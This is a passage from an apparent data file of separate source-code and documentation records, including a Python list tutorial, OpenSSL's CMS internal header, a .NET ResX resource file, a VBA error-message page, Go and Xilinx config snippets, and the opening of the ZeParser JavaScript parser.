5, 6]\n\n# change the first element\nmy_list[0] = 1\n\n# change elements 2 to 3\nmy_list[2:3] = [7,8]\n\n# add new item to end of the list\nmy_list.append(9)\n\n# add several new item to the list\nmy_list.extend([10, 11, 12])\n\n# using the '+' operator\nmy_list = my_list + [10,10,10]\n\n# using the '*' operator\nprint(['myName' * 3])\n\n# insert 6 in position 1\nmy_list.insert(1,6)\n\n# insert 5 & 6 at position 3\nmy_list[3:3] = [5,6]\n\n\n# DELETING ELEMENTS\n\n\nmy_list = [1, 2, 3, 4, 5]\n\n# delete the second position\ndel my_list[2]\n\n# delete multiple items\ndel my_list [0:1]\n\n# delete the entire list\ndel my_list\n\n\n# remove e from the list\nmy_list = ['m','a','c','e','w','i','n','d','u']\nmy_list.remove('e')\n\n# remove the item at position 1\nmy_list.pop(1)\n\n# remove the item at the last position\nmy_list.pop()\n\n# remove the all the items in a list\nmy_list.clear()\n\n# find the index of a particular item\nfruit_list = ['Apple', 'Oranges','Pears']\nprint(fruit_list.index('Oranges'))\n\nmy_list.sort()\nmy_list.reverse()\nmy_new_list = my_list.copy()\n\n# define list with fruits in it\nfruit_list = ['Apple', 'Oranges','Pears']\n\n# check if Value exist in List\nif 'Apple' in fruit_list:\n print('The fruit exist.')\n\n# loop through list\nfor fruit in fruit_list:\n print(fruit)\n\n# count the number of items in a list\nnum_of_items = len(fruit_list)\n\n\nnum_list = [10, 8, 2]\n\n# get the largest number in a list.\nmax_item = max(num_list)\n\n# get the smallest number in a list.\nmin_item = min(num_list)\nprint(max_item)\nprint(min_item)\n\n# create an enumeration object with an index and value.\nprint(enumerate(num_list))\n\n# sum all the numbers in a list.\nprint(sum(num_list))\n"} {"text": "/* crypto/cms/cms_lcl.h */\n/*\n * Written by Dr Stephen N Henson (steve@openssl.org) for the OpenSSL\n * project.\n */\n/* ====================================================================\n * Copyright (c) 2008 The OpenSSL Project. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and/or other materials provided with the\n * distribution.\n *\n * 3. All advertising materials mentioning features or use of this\n * software must display the following acknowledgment:\n * \"This product includes software developed by the OpenSSL Project\n * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)\"\n *\n * 4. The names \"OpenSSL Toolkit\" and \"OpenSSL Project\" must not be used to\n * endorse or promote products derived from this software without\n * prior written permission. For written permission, please contact\n * licensing@OpenSSL.org.\n *\n * 5. Products derived from this software may not be called \"OpenSSL\"\n * nor may \"OpenSSL\" appear in their names without prior written\n * permission of the OpenSSL Project.\n *\n * 6. Redistributions of any form whatsoever must retain the following\n * acknowledgment:\n * \"This product includes software developed by the OpenSSL Project\n * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)\"\n *\n * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY\n * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\n * OF THE POSSIBILITY OF SUCH DAMAGE.\n * ====================================================================\n */\n\n#ifndef HEADER_CMS_LCL_H\n# define HEADER_CMS_LCL_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n# include <openssl/x509.h>\n\n/*\n * Cryptographic message syntax (CMS) structures: taken from RFC3852\n */\n\n/* Forward references */\n\ntypedef struct CMS_IssuerAndSerialNumber_st CMS_IssuerAndSerialNumber;\ntypedef struct CMS_EncapsulatedContentInfo_st CMS_EncapsulatedContentInfo;\ntypedef struct CMS_SignerIdentifier_st CMS_SignerIdentifier;\ntypedef struct CMS_SignedData_st CMS_SignedData;\ntypedef struct CMS_OtherRevocationInfoFormat_st CMS_OtherRevocationInfoFormat;\ntypedef struct CMS_OriginatorInfo_st CMS_OriginatorInfo;\ntypedef struct CMS_EncryptedContentInfo_st CMS_EncryptedContentInfo;\ntypedef struct CMS_EnvelopedData_st CMS_EnvelopedData;\ntypedef struct CMS_DigestedData_st CMS_DigestedData;\ntypedef struct CMS_EncryptedData_st CMS_EncryptedData;\ntypedef struct CMS_AuthenticatedData_st CMS_AuthenticatedData;\ntypedef struct CMS_CompressedData_st CMS_CompressedData;\ntypedef struct CMS_OtherCertificateFormat_st CMS_OtherCertificateFormat;\ntypedef struct CMS_KeyTransRecipientInfo_st CMS_KeyTransRecipientInfo;\ntypedef struct CMS_OriginatorPublicKey_st CMS_OriginatorPublicKey;\ntypedef struct CMS_OriginatorIdentifierOrKey_st CMS_OriginatorIdentifierOrKey;\ntypedef struct CMS_KeyAgreeRecipientInfo_st CMS_KeyAgreeRecipientInfo;\ntypedef struct CMS_RecipientKeyIdentifier_st CMS_RecipientKeyIdentifier;\ntypedef struct CMS_KeyAgreeRecipientIdentifier_st\n CMS_KeyAgreeRecipientIdentifier;\ntypedef struct CMS_KEKIdentifier_st CMS_KEKIdentifier;\ntypedef struct CMS_KEKRecipientInfo_st CMS_KEKRecipientInfo;\ntypedef struct CMS_PasswordRecipientInfo_st CMS_PasswordRecipientInfo;\ntypedef struct CMS_OtherRecipientInfo_st CMS_OtherRecipientInfo;\ntypedef struct CMS_ReceiptsFrom_st CMS_ReceiptsFrom;\n\nstruct CMS_ContentInfo_st {\n ASN1_OBJECT *contentType;\n union {\n ASN1_OCTET_STRING *data;\n CMS_SignedData *signedData;\n CMS_EnvelopedData *envelopedData;\n CMS_DigestedData *digestedData;\n CMS_EncryptedData *encryptedData;\n CMS_AuthenticatedData *authenticatedData;\n CMS_CompressedData *compressedData;\n ASN1_TYPE *other;\n /* Other types ... */\n void *otherData;\n } d;\n};\n\nstruct CMS_SignedData_st {\n long version;\n STACK_OF(X509_ALGOR) *digestAlgorithms;\n CMS_EncapsulatedContentInfo *encapContentInfo;\n STACK_OF(CMS_CertificateChoices) *certificates;\n STACK_OF(CMS_RevocationInfoChoice) *crls;\n STACK_OF(CMS_SignerInfo) *signerInfos;\n};\n\nstruct CMS_EncapsulatedContentInfo_st {\n ASN1_OBJECT *eContentType;\n ASN1_OCTET_STRING *eContent;\n /* Set to 1 if incomplete structure only part set up */\n int partial;\n};\n\nstruct CMS_SignerInfo_st {\n long version;\n CMS_SignerIdentifier *sid;\n X509_ALGOR *digestAlgorithm;\n STACK_OF(X509_ATTRIBUTE) *signedAttrs;\n X509_ALGOR *signatureAlgorithm;\n ASN1_OCTET_STRING *signature;\n STACK_OF(X509_ATTRIBUTE) *unsignedAttrs;\n /* Signing certificate and key */\n X509 *signer;\n EVP_PKEY *pkey;\n /* Digest and public key context for alternative parameters */\n EVP_MD_CTX mctx;\n EVP_PKEY_CTX *pctx;\n};\n\nstruct CMS_SignerIdentifier_st {\n int type;\n union {\n CMS_IssuerAndSerialNumber *issuerAndSerialNumber;\n ASN1_OCTET_STRING *subjectKeyIdentifier;\n } d;\n};\n\nstruct CMS_EnvelopedData_st {\n long version;\n CMS_OriginatorInfo *originatorInfo;\n STACK_OF(CMS_RecipientInfo) *recipientInfos;\n CMS_EncryptedContentInfo *encryptedContentInfo;\n STACK_OF(X509_ATTRIBUTE) *unprotectedAttrs;\n};\n\nstruct CMS_OriginatorInfo_st {\n STACK_OF(CMS_CertificateChoices) *certificates;\n STACK_OF(CMS_RevocationInfoChoice) *crls;\n};\n\nstruct CMS_EncryptedContentInfo_st {\n ASN1_OBJECT *contentType;\n X509_ALGOR *contentEncryptionAlgorithm;\n ASN1_OCTET_STRING *encryptedContent;\n /* Content encryption algorithm and key */\n const EVP_CIPHER *cipher;\n unsigned char *key;\n size_t keylen;\n /* Set to 1 if we are debugging decrypt and don't fake keys for MMA */\n int debug;\n};\n\nstruct CMS_RecipientInfo_st {\n int type;\n union {\n CMS_KeyTransRecipientInfo *ktri;\n CMS_KeyAgreeRecipientInfo *kari;\n CMS_KEKRecipientInfo *kekri;\n CMS_PasswordRecipientInfo *pwri;\n CMS_OtherRecipientInfo *ori;\n } d;\n};\n\ntypedef CMS_SignerIdentifier CMS_RecipientIdentifier;\n\nstruct CMS_KeyTransRecipientInfo_st {\n long version;\n CMS_RecipientIdentifier *rid;\n X509_ALGOR *keyEncryptionAlgorithm;\n ASN1_OCTET_STRING *encryptedKey;\n /* Recipient Key and cert */\n X509 *recip;\n EVP_PKEY *pkey;\n /* Public key context for this operation */\n EVP_PKEY_CTX *pctx;\n};\n\nstruct CMS_KeyAgreeRecipientInfo_st {\n long version;\n CMS_OriginatorIdentifierOrKey *originator;\n ASN1_OCTET_STRING *ukm;\n X509_ALGOR *keyEncryptionAlgorithm;\n STACK_OF(CMS_RecipientEncryptedKey) *recipientEncryptedKeys;\n /* Public key context associated with current operation */\n EVP_PKEY_CTX *pctx;\n /* Cipher context for CEK wrapping */\n EVP_CIPHER_CTX ctx;\n};\n\nstruct CMS_OriginatorIdentifierOrKey_st {\n int type;\n union {\n CMS_IssuerAndSerialNumber *issuerAndSerialNumber;\n ASN1_OCTET_STRING *subjectKeyIdentifier;\n CMS_OriginatorPublicKey *originatorKey;\n } d;\n};\n\nstruct CMS_OriginatorPublicKey_st {\n X509_ALGOR *algorithm;\n ASN1_BIT_STRING *publicKey;\n};\n\nstruct CMS_RecipientEncryptedKey_st {\n CMS_KeyAgreeRecipientIdentifier *rid;\n ASN1_OCTET_STRING *encryptedKey;\n /* Public key associated with this recipient */\n EVP_PKEY *pkey;\n};\n\nstruct CMS_KeyAgreeRecipientIdentifier_st {\n int type;\n union {\n CMS_IssuerAndSerialNumber *issuerAndSerialNumber;\n CMS_RecipientKeyIdentifier *rKeyId;\n } d;\n};\n\nstruct CMS_RecipientKeyIdentifier_st {\n ASN1_OCTET_STRING *subjectKeyIdentifier;\n ASN1_GENERALIZEDTIME *date;\n CMS_OtherKeyAttribute *other;\n};\n\nstruct CMS_KEKRecipientInfo_st {\n long version;\n CMS_KEKIdentifier *kekid;\n X509_ALGOR *keyEncryptionAlgorithm;\n ASN1_OCTET_STRING *encryptedKey;\n /* Extra info: symmetric key to use */\n unsigned char *key;\n size_t keylen;\n};\n\nstruct CMS_KEKIdentifier_st {\n ASN1_OCTET_STRING *keyIdentifier;\n ASN1_GENERALIZEDTIME *date;\n CMS_OtherKeyAttribute *other;\n};\n\nstruct CMS_PasswordRecipientInfo_st {\n long version;\n X509_ALGOR *keyDerivationAlgorithm;\n X509_ALGOR *keyEncryptionAlgorithm;\n ASN1_OCTET_STRING *encryptedKey;\n /* Extra info: password to use */\n unsigned char *pass;\n size_t passlen;\n};\n\nstruct CMS_OtherRecipientInfo_st {\n ASN1_OBJECT *oriType;\n ASN1_TYPE *oriValue;\n};\n\nstruct CMS_DigestedData_st {\n long version;\n X509_ALGOR *digestAlgorithm;\n CMS_EncapsulatedContentInfo *encapContentInfo;\n ASN1_OCTET_STRING *digest;\n};\n\nstruct CMS_EncryptedData_st {\n long version;\n CMS_EncryptedContentInfo *encryptedContentInfo;\n STACK_OF(X509_ATTRIBUTE) *unprotectedAttrs;\n};\n\nstruct CMS_AuthenticatedData_st {\n long version;\n CMS_OriginatorInfo *originatorInfo;\n STACK_OF(CMS_RecipientInfo) *recipientInfos;\n X509_ALGOR *macAlgorithm;\n X509_ALGOR *digestAlgorithm;\n CMS_EncapsulatedContentInfo *encapContentInfo;\n STACK_OF(X509_ATTRIBUTE) *authAttrs;\n ASN1_OCTET_STRING *mac;\n STACK_OF(X509_ATTRIBUTE) *unauthAttrs;\n};\n\nstruct CMS_CompressedData_st {\n long version;\n X509_ALGOR *compressionAlgorithm;\n STACK_OF(CMS_RecipientInfo) *recipientInfos;\n CMS_EncapsulatedContentInfo *encapContentInfo;\n};\n\nstruct CMS_RevocationInfoChoice_st {\n int type;\n union {\n X509_CRL *crl;\n CMS_OtherRevocationInfoFormat *other;\n } d;\n};\n\n# define CMS_REVCHOICE_CRL 0\n# define CMS_REVCHOICE_OTHER 1\n\nstruct CMS_OtherRevocationInfoFormat_st {\n ASN1_OBJECT *otherRevInfoFormat;\n ASN1_TYPE *otherRevInfo;\n};\n\nstruct CMS_CertificateChoices {\n int type;\n union {\n X509 *certificate;\n ASN1_STRING *extendedCertificate; /* Obsolete */\n ASN1_STRING *v1AttrCert; /* Left encoded for now */\n ASN1_STRING *v2AttrCert; /* Left encoded for now */\n CMS_OtherCertificateFormat *other;\n } d;\n};\n\n# define CMS_CERTCHOICE_CERT 0\n# define CMS_CERTCHOICE_EXCERT 1\n# define CMS_CERTCHOICE_V1ACERT 2\n# define CMS_CERTCHOICE_V2ACERT 3\n# define CMS_CERTCHOICE_OTHER 4\n\nstruct CMS_OtherCertificateFormat_st {\n ASN1_OBJECT *otherCertFormat;\n ASN1_TYPE *otherCert;\n};\n\n/*\n * This is also defined in pkcs7.h but we duplicate it to allow the CMS code\n * to be independent of PKCS#7\n */\n\nstruct CMS_IssuerAndSerialNumber_st {\n X509_NAME *issuer;\n ASN1_INTEGER *serialNumber;\n};\n\nstruct CMS_OtherKeyAttribute_st {\n ASN1_OBJECT *keyAttrId;\n ASN1_TYPE *keyAttr;\n};\n\n/* ESS structures */\n\n# ifdef HEADER_X509V3_H\n\nstruct CMS_ReceiptRequest_st {\n ASN1_OCTET_STRING *signedContentIdentifier;\n CMS_ReceiptsFrom *receiptsFrom;\n STACK_OF(GENERAL_NAMES) *receiptsTo;\n};\n\nstruct CMS_ReceiptsFrom_st {\n int type;\n union {\n long allOrFirstTier;\n STACK_OF(GENERAL_NAMES) *receiptList;\n } d;\n};\n# endif\n\nstruct CMS_Receipt_st {\n long version;\n ASN1_OBJECT *contentType;\n ASN1_OCTET_STRING *signedContentIdentifier;\n ASN1_OCTET_STRING *originatorSignatureValue;\n};\n\nDECLARE_ASN1_FUNCTIONS(CMS_ContentInfo)\nDECLARE_ASN1_ITEM(CMS_SignerInfo)\nDECLARE_ASN1_ITEM(CMS_IssuerAndSerialNumber)\nDECLARE_ASN1_ITEM(CMS_Attributes_Sign)\nDECLARE_ASN1_ITEM(CMS_Attributes_Verify)\nDECLARE_ASN1_ITEM(CMS_RecipientInfo)\nDECLARE_ASN1_ITEM(CMS_PasswordRecipientInfo)\nDECLARE_ASN1_ALLOC_FUNCTIONS(CMS_IssuerAndSerialNumber)\n\n# define CMS_SIGNERINFO_ISSUER_SERIAL 0\n# define CMS_SIGNERINFO_KEYIDENTIFIER 1\n\n# define CMS_RECIPINFO_ISSUER_SERIAL 0\n# define CMS_RECIPINFO_KEYIDENTIFIER 1\n\n# define CMS_REK_ISSUER_SERIAL 0\n# define CMS_REK_KEYIDENTIFIER 1\n\n# define CMS_OIK_ISSUER_SERIAL 0\n# define CMS_OIK_KEYIDENTIFIER 1\n# define CMS_OIK_PUBKEY 2\n\nBIO *cms_content_bio(CMS_ContentInfo *cms);\n\nCMS_ContentInfo *cms_Data_create(void);\n\nCMS_ContentInfo *cms_DigestedData_create(const EVP_MD *md);\nBIO *cms_DigestedData_init_bio(CMS_ContentInfo *cms);\nint cms_DigestedData_do_final(CMS_ContentInfo *cms, BIO *chain, int verify);\n\nBIO *cms_SignedData_init_bio(CMS_ContentInfo *cms);\nint cms_SignedData_final(CMS_ContentInfo *cms, BIO *chain);\nint cms_set1_SignerIdentifier(CMS_SignerIdentifier *sid, X509 *cert,\n int type);\nint cms_SignerIdentifier_get0_signer_id(CMS_SignerIdentifier *sid,\n ASN1_OCTET_STRING **keyid,\n X509_NAME **issuer,\n ASN1_INTEGER **sno);\nint cms_SignerIdentifier_cert_cmp(CMS_SignerIdentifier *sid, X509 *cert);\n\nCMS_ContentInfo *cms_CompressedData_create(int comp_nid);\nBIO *cms_CompressedData_init_bio(CMS_ContentInfo *cms);\n\nvoid cms_DigestAlgorithm_set(X509_ALGOR *alg, const EVP_MD *md);\nBIO *cms_DigestAlgorithm_init_bio(X509_ALGOR *digestAlgorithm);\nint cms_DigestAlgorithm_find_ctx(EVP_MD_CTX *mctx, BIO *chain,\n X509_ALGOR *mdalg);\n\nint cms_ias_cert_cmp(CMS_IssuerAndSerialNumber *ias, X509 *cert);\nint cms_keyid_cert_cmp(ASN1_OCTET_STRING *keyid, X509 *cert);\nint cms_set1_ias(CMS_IssuerAndSerialNumber **pias, X509 *cert);\nint cms_set1_keyid(ASN1_OCTET_STRING **pkeyid, X509 *cert);\n\nBIO *cms_EncryptedContent_init_bio(CMS_EncryptedContentInfo *ec);\nBIO *cms_EncryptedData_init_bio(CMS_ContentInfo *cms);\nint cms_EncryptedContent_init(CMS_EncryptedContentInfo *ec,\n const EVP_CIPHER *cipher,\n const unsigned char *key, size_t keylen);\n\nint cms_Receipt_verify(CMS_ContentInfo *cms, CMS_ContentInfo *req_cms);\nint cms_msgSigDigest_add1(CMS_SignerInfo *dest, CMS_SignerInfo *src);\nASN1_OCTET_STRING *cms_encode_Receipt(CMS_SignerInfo *si);\n\nBIO *cms_EnvelopedData_init_bio(CMS_ContentInfo *cms);\nCMS_EnvelopedData *cms_get0_enveloped(CMS_ContentInfo *cms);\nint cms_env_asn1_ctrl(CMS_RecipientInfo *ri, int cmd);\nint cms_pkey_get_ri_type(EVP_PKEY *pk);\n/* KARI routines */\nint cms_RecipientInfo_kari_init(CMS_RecipientInfo *ri, X509 *recip,\n EVP_PKEY *pk, unsigned int flags);\nint cms_RecipientInfo_kari_encrypt(CMS_ContentInfo *cms,\n CMS_RecipientInfo *ri);\n\n/* PWRI routines */\nint cms_RecipientInfo_pwri_crypt(CMS_ContentInfo *cms, CMS_RecipientInfo *ri,\n int en_de);\n\n#ifdef __cplusplus\n}\n#endif\n#endif\n"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n <!-- \n Microsoft ResX Schema \n \n Version 2.0\n \n The primary goals of this format is to allow a simple XML format \n that is mostly human readable. The generation and parsing of the \n various data types are done through the TypeConverter classes \n associated with the data types.\n \n Example:\n \n ... ado.net/XML headers & schema ...\n <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n <resheader name=\"version\">2.0</resheader>\n <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n <value>[base64 mime encoded serialized .NET Framework object]</value>\n </data>\n <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n <comment>This is a comment</comment>\n </data>\n \n There are any number of \"resheader\" rows that contain simple \n name/value pairs.\n \n Each data row contains a name, and value. The row also contains a \n type or mimetype. Type corresponds to a .NET class that support \n text/value conversion through the TypeConverter architecture. \n Classes that don't support this are serialized and stored with the \n mimetype set.\n \n The mimetype is used for serialized objects, and tells the \n ResXResourceReader how to depersist the object. This is currently not \n extensible. For a given mimetype the value must be set accordingly:\n \n Note - application/x-microsoft.net.object.binary.base64 is the format \n that the ResXResourceWriter will generate, however the reader can \n read any of the formats listed below.\n \n mimetype: application/x-microsoft.net.object.binary.base64\n value : The object must be serialized with \n : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n : and then encoded with base64 encoding.\n \n mimetype: application/x-microsoft.net.object.soap.base64\n value : The object must be serialized with \n : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n : and then encoded with base64 encoding.\n\n mimetype: application/x-microsoft.net.object.bytearray.base64\n value : The object must be serialized into a byte array \n : using a System.ComponentModel.TypeConverter\n : and then encoded with base64 encoding.\n -->\n <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n <xsd:complexType>\n <xsd:choice maxOccurs=\"unbounded\">\n <xsd:element name=\"metadata\">\n <xsd:complexType>\n <xsd:sequence>\n <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n </xsd:sequence>\n <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n <xsd:attribute name=\"type\" type=\"xsd:string\" />\n <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n <xsd:attribute ref=\"xml:space\" />\n </xsd:complexType>\n </xsd:element>\n <xsd:element name=\"assembly\">\n <xsd:complexType>\n <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n <xsd:attribute name=\"name\" type=\"xsd:string\" />\n </xsd:complexType>\n </xsd:element>\n <xsd:element name=\"data\">\n <xsd:complexType>\n <xsd:sequence>\n <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n </xsd:sequence>\n <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n <xsd:attribute ref=\"xml:space\" />\n </xsd:complexType>\n </xsd:element>\n <xsd:element name=\"resheader\">\n <xsd:complexType>\n <xsd:sequence>\n <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n </xsd:sequence>\n <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n </xsd:complexType>\n </xsd:element>\n </xsd:choice>\n </xsd:complexType>\n </xsd:element>\n </xsd:schema>\n <resheader name=\"resmimetype\">\n <value>text/microsoft-resx</value>\n </resheader>\n <resheader name=\"version\">\n <value>2.0</value>\n </resheader>\n <resheader name=\"reader\">\n <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n </resheader>\n <resheader name=\"writer\">\n <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n </resheader>\n <data name=\"SplitButtonSecondaryButtonName\" xml:space=\"preserve\">\n <value>Mais Opções</value>\n <comment>Automation name for the secondary button.</comment>\n </data>\n</root>"} {"text": "---\ntitle: LSet allowed only on strings and user-defined types\nkeywords: vblr6.chm1011214\nf1_keywords:\n- vblr6.chm1011214\nms.prod: office\nms.assetid: 6e641999-66f1-46fb-869f-369d3f5274b8\nms.date: 06/08/2017\nlocalization_priority: Normal\n---\n\n\n# LSet allowed only on strings and user-defined types\n\n **LSet** is used to left align data within strings and [variables](../../Glossary/vbe-glossary.md#variable) of[user-defined type](../../Glossary/vbe-glossary.md#user-defined-type). This error has the following causes and solutions:\n\n\n\n- The specified variable isn't a string or user-defined type. If you are trying to block assign one array to another, **LSet** does not work. You must use a loop to assign each element individually.\n \n- You tried to use **LSet** with an object. **LSet** can also be used to assign the elements of a user-defined type variable to the elements of a different, but compatible, user-defined type. Although objects are similar to user-defined types, you can't use **LSet** on them. Similarly, you can't use **LSet** on variables of user-defined types that contain strings, objects, or variants.\n \n\nFor additional information, select the item in question and press F1 (in Windows) or HELP (on the Macintosh).\n\n[!include[Support and feedback](~/includes/feedback-boilerplate.md)]"} {"text": "// Copyright 2013 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage ipv6\n\nimport (\n\t\"net\"\n\n\t\"golang.org/x/net/internal/socket\"\n)\n\n// BUG(mikio): On Windows, the ControlMessage for ReadFrom and WriteTo\n// methods of PacketConn is not implemented.\n\n// A payloadHandler represents the IPv6 datagram payload handler.\ntype payloadHandler struct {\n\tnet.PacketConn\n\t*socket.Conn\n\trawOpt\n}\n\nfunc (c *payloadHandler) ok() bool { return c != nil && c.PacketConn != nil && c.Conn != nil }\n"} {"text": "/***************************************************************************\nCopyright (c) 2019, Xilinx, Inc.\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification, \nare permitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, \nthis list of conditions and the following disclaimer.\n\n2. Redistributions in binary form must reproduce the above copyright notice, \nthis list of conditions and the following disclaimer in the documentation \nand/or other materials provided with the distribution.\n\n3. Neither the name of the copyright holder nor the names of its contributors \nmay be used to endorse or promote products derived from this software \nwithout specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND \nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, \nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. \nIN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, \nINCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, \nPROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) \nHOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, \nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, \nEVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n***************************************************************************/\n/* SAD window size must be an odd number and it must be less than minimum of image height and width and less than the tested size '21' */\n\n#define SAD_WINDOW_SIZE\t\t5\n\n/* NO_OF_DISPARITIES must be greater than '0' and less than the image width */\n\n#define NO_OF_DISPARITIES\t16\n\n/* NO_OF_DISPARITIES must not be lesser than PARALLEL_UNITS and NO_OF_DISPARITIES/PARALLEL_UNITS must be a non-fractional number */\n\n#define PARALLEL_UNITS\t\t2\n\n//#define XF_USE_URAM false\n"} {"text": "See [lexi-lambda/mtl-style-example.git](https://github.com/lexi-lambda/mtl-style-example/).\n"} {"text": "if (typeof exports !== 'undefined') {\n\tvar Tokenizer = require('./Tokenizer').Tokenizer;\n\texports.ZeParser = ZeParser;\n}\n\n/**\n * This is my js Parser: Ze. It's actually the post-dev pre-cleanup version. Clearly.\n * Some optimizations have been applied :)\n * (c) Peter van der Zee, qfox.nl\n * @param {String} inp Input\n * @param {Tokenizer} tok\n * @param {Array} stack The tokens will be put in this array. If you're looking for the AST, this would be it :)\n */\nfunction ZeParser(inp, tok, stack, simple){\n\tthis.input = inp;\n\tthis.tokenizer = tok;\n\tthis.stack = stack;\n\tthis.stack.root = true;\n\tthis.scope = stack.scope = [{value:'this', isDeclared:true, isEcma:true, thisIsGlobal:true}]; // names of variables\n\tthis.scope.global = true;\n\tthis.statementLabels = [];\n\n\tthis.errorStack = [];\n\n\tstack.scope = this.scope; // hook root\n\tstack.labels = this.statementLabels;\n\n\tthis.regexLhsStart = ZeParser.regexLhsStart;\n/*\n\tthis.regexStartKeyword = ZeParser.regexStartKeyword;\n\tthis.regexKeyword = ZeParser.regexKeyword;\n\tthis.regexStartReserved = ZeParser.regexStartReserved;\n\tthis.regexReserved = ZeParser.regexReserved;\n*/\n\tthis.regexStartKeyOrReserved = ZeParser.regexStartKeyOrReserved;\n\tthis.hashStartKeyOrReserved = ZeParser.hashStartKeyOrReserved;\n\tthis.regexIsKeywordOrReserved = ZeParser.regexIsKeywordOrReserved;\n\tthis.regexAssignments = ZeParser.regexAssignments;\n\tthis.regexNonAssignmentBinaryExpressionOperators = ZeParser.regexNonAssignmentBinaryExpressionOperators;\n\tthis.regexUnaryKeywords = ZeParser.regexUnaryKeywords;\n\tthis.hashUnaryKeywordStart = ZeParser.hashUnaryKeywordStart;\n\tthis.regexUnaryOperators = ZeParser.regexUnaryOperators;\n\tthis.regexLiteralKeywords = ZeParser.regexLiteralKeywords;\n\tthis.testing = {'this':1,'null':1,'true':1,'false':1};\n\n\tthis.ast = !simple; ///#define FULL_AST\n};\n/**\n * Returns just a stacked parse tree (regular array)\n * @param {string} input\n * @param {boolean} simple=false\n * @return {Array}\n */\nZeParser.parse = function(input, simple){\n\tvar tok = new Tokenizer(input);\n\tvar stack = [];\n\ttry {\n\t\tvar parser = new ZeParser(input, tok, stack);\n\t\tif (simple) parser.ast = false;\n\t\tparser.parse();\n\t\treturn stack;\n\t} catch (e) {\n\t\tconsole.log(\"Parser has a bug for this input, please report it :)\", e);\n\t\treturn null;\n\t}\n};\n/**\n * Returns a new parser instance with parse details for input\n * @param {string} input\n * @returns {ZeParser}\n 